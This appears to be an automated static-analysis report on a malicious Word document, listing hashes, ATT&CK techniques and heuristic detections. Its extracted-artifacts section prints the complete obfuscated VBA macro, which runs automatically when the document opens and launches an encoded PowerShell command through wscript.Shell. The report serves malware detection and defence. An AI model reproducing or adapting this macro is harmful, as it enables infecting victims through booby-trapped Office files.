Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3c6bc2518a5949b3…

MALICIOUS

Office (OOXML)

240.2 KB Created: 2021-10-27 15:53:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-31
MD5: ae63c9a45da71092770afac3c1d59b10 SHA-1: a7019435baa45971cad2eca2628216e0ace097b2 SHA-256: 3c6bc2518a5949b37236120985adc196ff2e322f55a9032e1768fd44902ade49
274 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing multiple auto-executing VBA macros (AutoOpen, Document_Open, Workbook_Open, Auto_Open). These macros likely attempt to download and execute a second-stage payload, as indicated by the 'CreateObject' call and the ClamAV detection of 'Doc.Downloader.Generic'. The VBA code is obfuscated but appears to construct strings for execution, suggesting a downloader functionality.

Heuristics 10

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        gfjgur = " " & jrurm & " " & JFkrri & "=="
        CreateObject(fhurmm & DJke).Run$ JFkeibf & gfjgur
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
        JFDfemfvof
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
        JFDfemfvof
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
        JFDfemfvof
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
    Sub Auto_Open()
        JFDfemfvof
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6143 bytes
SHA-256: 95ab8086c3843c9bed88fe90583431f5d84e7bc19b5dfb653920ca4b8908a1d0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
    JFDfemfvof
End Sub

Sub AutoOpen()
    JFDfemfvof
End Sub

Sub Workbook_Open()
    JFDfemfvof
End Sub

Sub Document_Open()
    JFDfemfvof
End Sub

Function Aaa(fd As Integer) As String
    Aaa = Chr(fd)
End Function

Function DJeufem()
    agrr = Aaa(99)
    jgi = Aaa(65)
    oep = Aaa(66)
    eit = Aaa(118)
    lgo = Aaa(72)

    VJVdufm = agrr & jgi & oep & eit & jgi & lgo & agrr & jgi & Aaa(90) & Aaa(81) & oep & Aaa(121) & jgi & lgo & Aaa(77) & jgi & Aaa(97) & jgi & oep & Aaa(108) & jgi & Aaa(71) & Aaa(119) & jgi & Aaa(98) & jgi & jgi & Aaa(117) & jgi & Aaa(71) & Aaa(85) & jgi & Aaa(101) & jgi & oep & Aaa(108) & jgi & Aaa(67) & jgi & jgi & Aaa(76) & Aaa(81) & oep & Aaa(51) & jgi & Aaa(67) & jgi & jgi & Aaa(77) & Aaa(81) & jgi & Aaa(103) & jgi & Aaa(68) & Aaa(48) & jgi & Aaa(77) & Aaa(81) & jgi & Aaa(55) & jgi & Aaa(69) & Aaa(107) & jgi & Aaa(98) & Aaa(103) & oep & Aaa(50) & jgi & Aaa(71) & Aaa(56) & jgi & Aaa(97) & Aaa(119) & oep & Aaa(108) & jgi & Aaa(67) & Aaa(48) & jgi & Aaa(86) & Aaa(119) & oep & Aaa(108) & jgi & Aaa(71) & Aaa(73) & jgi & Aaa(85) & Aaa(103) & oep & Aaa(108) & jgi & lgo & Aaa(69) & jgi & Aaa(100) & Aaa(81) & oep & Aaa(108) & jgi & lgo & Aaa(77) & jgi & Aaa(100) & jgi & jgi & Aaa(103) & jgi & Aaa(67) & Aaa(48) & jgi & Aaa(86) & Aaa(81) & oep & Aaa(83) & jgi & Aaa(69) & Aaa(107) & jgi & Aaa(73)

    frkgiri = jgi & oep & Aaa(111) & jgi & lgo & Aaa(81) & jgi & Aaa(100) & jgi & oep & Aaa(119) & jgi & lgo & Aaa(77) & jgi & Aaa(79) & Aaa(103) & jgi & eit & jgi & Aaa(67) & Aaa(56) & jgi & Aaa(89) & Aaa(103) & oep & Aaa(112) & jgi & lgo & Aaa(81) & jgi & Aaa(76) & Aaa(103) & oep & Aaa(115) & jgi & lgo & Aaa(107) & jgi & Aaa(76) & Aaa(119) & jgi & Aaa(122) & jgi & Aaa(71) & Aaa(115) & jgi & Aaa(83) & Aaa(119) & oep & Aaa(105) & jgi & Aaa(70) & Aaa(73) & jgi & Aaa(78) & Aaa(103) & oep & Aaa(122) & jgi & Aaa(67) & jgi & jgi & Aaa(76) & Aaa(81) & oep & Aaa(80) & jgi & Aaa(67) & jgi & jgi & Aaa(81) & Aaa(119) & jgi & Aaa(54) & jgi & Aaa(70) & Aaa(119) & jgi & Aaa(86) & Aaa(81) & oep & Aaa(122) & jgi & Aaa(71) & Aaa(85) & jgi & agrr & Aaa(103) & oep & Aaa(122) & jgi & Aaa(70) & Aaa(119) & jgi & Aaa(82) & Aaa(119) & oep & Aaa(67)

    KFiermvp = jgi & Aaa(69) & Aaa(56) & jgi & Aaa(87) & Aaa(81) & oep & Aaa(70) & jgi & Aaa(70) & Aaa(73) & jgi & Aaa(88) & jgi & oep & oep & jgi & lgo & jgi & jgi & agrr & jgi & oep & Aaa(69) & jgi & Aaa(71) & Aaa(69) & jgi & Aaa(100) & jgi & oep & Aaa(104) & jgi & Aaa(70) & Aaa(119) & jgi & Aaa(84) & jgi & oep & eit & jgi & Aaa(71) & Aaa(77) & jgi & Aaa(89) & Aaa(81) & oep & Aaa(115) & jgi & Aaa(70) & Aaa(119) & jgi & Aaa(86) & jgi & oep & Aaa(108) & jgi & Aaa(71) & Aaa(48) & jgi & agrr & jgi & oep & agrr & jgi & lgo & agrr & jgi & Aaa(90) & Aaa(81) & oep & Aaa(105) & jgi & Aaa(71) & Aaa(103) & jgi & Aaa(98) & Aaa(119) & oep & Aaa(122) & jgi & lgo & Aaa(81) & jgi & Aaa(76) & Aaa(103) & oep & Aaa(108) & jgi & lgo & Aaa(103) & jgi & Aaa(90) & Aaa(81) & jgi & Aaa(55) & jgi & Aaa(70) & Aaa(77) & jgi & Aaa(100) & jgi & oep & Aaa(104) & jgi & lgo & Aaa(73) & jgi & Aaa(100) & jgi & jgi & Aaa(116) & jgi & Aaa(70) & jgi & jgi & agrr & Aaa(103) & oep & eit & jgi & Aaa(71) & Aaa(77) & jgi & Aaa(90) & Aaa(81)
    vpror = oep & Aaa(122) & jgi & lgo & Aaa(77) & jgi & Aaa(73) & jgi & jgi & Aaa(116) & jgi & Aaa(69) & Aaa(89) & jgi & Aaa(73) & jgi & oep & Aaa(68) & jgi & Aaa(68) & Aaa(111) & jgi

    vffkbjr = Aaa(88) & jgi & oep & Aaa(86) & jgi & lgo & Aaa(77) & jgi & Aaa(90) & Aaa(81) & oep & Aaa(121) & jgi & lgo & Aaa(77) & jgi & Aaa(88) & jgi & oep & lgo & jgi & Aaa(69) & Aaa(73) & jgi & Aaa(84) & Aaa(119) & oep & Aaa(90) & jgi & Aaa(69) & Aaa(85) & jgi & Aaa(85) & Aaa(103) & oep & agrr & jgi & Aaa(69) & Aaa(69) & jgi & agrr & jgi & oep & Aaa(119) & jgi & Aaa(69) & Aaa(81) & jgi & Aaa(89) & Aaa(81) & oep & Aaa(48) & jgi & Aaa(71) & Aaa(69) & jgi & Aaa(88) & jgi & oep & Aaa(77) & jgi & Aaa(71) & Aaa(56) & jgi & Aaa(89) & Aaa(119) & oep & Aaa(104) & jgi & Aaa(71) & Aaa(119) & jgi & Aaa(88) & jgi & oep & Aaa(85) & jgi & Aaa(71) & Aaa(85) & jgi & Aaa(98) & Aaa(81) & oep & Aaa(119) & jgi & Aaa(70) & Aaa(119) & jgi & Aaa(100) & Aaa(119) & oep & Aaa(108) & jgi & Aaa(71) & Aaa(73) & jgi & Aaa(97) & jgi & oep & eit & jgi & lgo & Aaa(77) & jgi & Aaa(100) & jgi & jgi & Aaa(117) & jgi & Aaa(71) & Aaa(85) & jgi & Aaa(101) & jgi & oep & Aaa(108) & jgi & Aaa(67) & jgi & jgi & Aaa(76) & Aaa(81)

    biigri = oep & oep & jgi & Aaa(67) & jgi & jgi & Aaa(74) & Aaa(119) & jgi & Aaa(116) & jgi & Aaa(71) & Aaa(85) & jgi & Aaa(73) & jgi & oep & Aaa(106) & jgi & Aaa(71) & Aaa(48) & jgi & Aaa(90) & jgi & jgi & Aaa(103) & jgi & Aaa(68) & Aaa(107) & jgi & Aaa(77) & Aaa(81) & jgi & Aaa(117) & jgi & Aaa(68) & Aaa(69) & jgi & Aaa(77) & Aaa(103) & jgi & Aaa(120) & jgi & Aaa(67) & Aaa(52) & jgi & Aaa(77) & Aaa(81) & jgi & Aaa(51) & jgi & Aaa(68) & agrr & jgi & Aaa(76) & Aaa(103) & jgi & Aaa(121) & jgi & Aaa(68) & jgi & jgi & Aaa(78) & jgi & jgi & Aaa(103) & jgi & Aaa(68) & Aaa(103) & jgi & Aaa(77) & jgi & jgi & Aaa(52) & jgi & Aaa(68) & jgi & jgi & Aaa(74) & Aaa(119) & jgi & Aaa(103) & jgi & Aaa(67) & Aaa(48) & jgi & Aaa(100) & Aaa(119) & oep & Aaa(112) & jgi & Aaa(67) & jgi & jgi & Aaa(97) & jgi & jgi & Aaa(55) & jgi & jgi

    DJeufem = VJVdufm & frkgiri & KFiermvp & vpror & vffkbjr & biigri
End Function

Private Sub JFDfemfvof()

    ffLFD = "e"
    fhurmm = Aaa(50 + 69) & Aaa(35 + 65 + 15) & Aaa(67 + 32) & Aaa(35 + 64 + 15) & Aaa(30 + 64 + 11) & "p" & "t."
    DJke = "S" & "h" & ffLFD & "ll"
    JFkeibf = "p" & "o" & "w" & ffLFD & "r" & DJke & "." & ffLFD & "x" & ffLFD
    jrurm = Aaa(45) & ffLFD & Aaa(99)
    JFkrri = DJeufem
    gfjgur = " " & jrurm & " " & JFkrri & "=="
    CreateObject(fhurmm & DJke).Run$ JFkeibf & gfjgur
    
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 51200 bytes
SHA-256: 0dac92c7069d26701a8f486a0d51acae4e1372119ab6ffcad1f2abf9f0c306a0
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely